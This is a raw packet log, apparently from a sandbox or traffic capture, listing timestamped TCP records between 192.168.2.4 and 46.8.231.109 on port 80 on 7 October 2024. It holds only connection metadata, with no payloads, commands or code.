Oct 7, 2024 03:03:11.716947079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716947079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716974020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.716974974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.716989994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717015028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717019081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717036963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717044115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717053890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717072964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717075109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717088938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717092037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717117071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717149973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717190027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717269897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717287064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717302084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717317104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717319012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717319012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717336893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717354059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717354059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717370987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717386961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717406988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717406988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717457056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717639923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717654943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717673063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717688084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717716932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717716932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717761993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717778921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717793941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717797041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717807055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717812061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717828035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717845917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717860937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717869997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717869997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717875957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717895985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717916965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717921972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717933893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717935085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717952013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717968941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.717987061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.717987061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718038082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718120098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718136072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718152046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718166113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718175888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718187094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718204021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718219042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718221903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718239069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718266964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718266964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718271017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718297005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718312979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.718322992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718322992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718363047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.718363047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.756366968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756387949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756396055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756409883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756421089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756427050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756436110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756443977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.756484985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.756541967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.805704117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805736065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805757046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805800915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.805826902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805844069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805852890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.805860996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805876970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805895090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.805938959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.805943966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805959940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805984974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.805985928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806003094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806029081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806046963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806066990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806071043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806087971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806104898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806129932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806129932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806147099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806163073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806169987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806207895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806266069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806281090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806298018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806313992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806315899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806334019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806349993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806350946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806366920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806385994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806407928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806411028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806430101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806456089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806468964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806473017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806497097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806503057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806538105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806628942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806643963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806660891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806675911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806679964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806694031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806716919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806739092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806755066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.806755066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806787014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.806809902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810360909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810378075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810394049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810420036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810420990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810436010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810452938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810455084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810468912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810493946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810529947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810573101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810587883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810602903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810620070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810641050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810645103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810661077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810677052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810691118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810693979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810709000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810724974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810725927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810741901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.810765028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810786009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.810997009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811022997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811038971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811053991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811054945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811068058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811072111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811088085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811095953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811105967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811121941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811136007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811137915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811151028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811157942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811175108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811188936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811191082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811207056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811222076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811225891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811239004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811254025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811266899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811283112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811283112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811300039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811311007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811315060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811331987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811347008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811387062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811434984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811449051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811464071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811479092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811487913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811495066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811508894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811511040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811531067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811543941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811547041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811563015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811578989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811592102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811604977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811610937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811626911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811635971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811645031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811660051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811672926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811676025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811691999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811707020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811712980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811723948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811739922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811758041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811758995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811775923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811791897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811793089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811809063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811816931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811826944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811839104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811844110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811860085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811872959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811873913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811892986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811908007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811908960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811929941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.811939001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811959982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.811995983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.812073946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812091112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812105894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812123060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812129021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.812139034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812155008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812164068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.812174082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.812186956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.812221050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.846901894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.846930027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.846961021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.846977949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.846978903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.846987963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.846996069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.847011089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.847013950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.847034931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.847038984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.847055912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.847078085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.847107887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.896681070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896718025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896739006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896756887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896775007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896791935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896809101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896825075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896843910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896869898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.896872044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896891117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896908998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896924973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896939993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896950960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.896950960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.896959066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896974087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.896977901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.896991968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897006035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897008896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897028923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897043943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897049904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897056103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897070885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897082090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897094011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897105932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897113085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897128105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897129059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897149086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897166014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897201061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897249937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897269011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897284031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897295952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897300959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897320032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897336006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897351027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897353888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897372007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897384882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897399902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897425890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897505999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897521973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897538900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897552013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897556067 CEST	80	49731	46.8.231.109	192.168.2.4
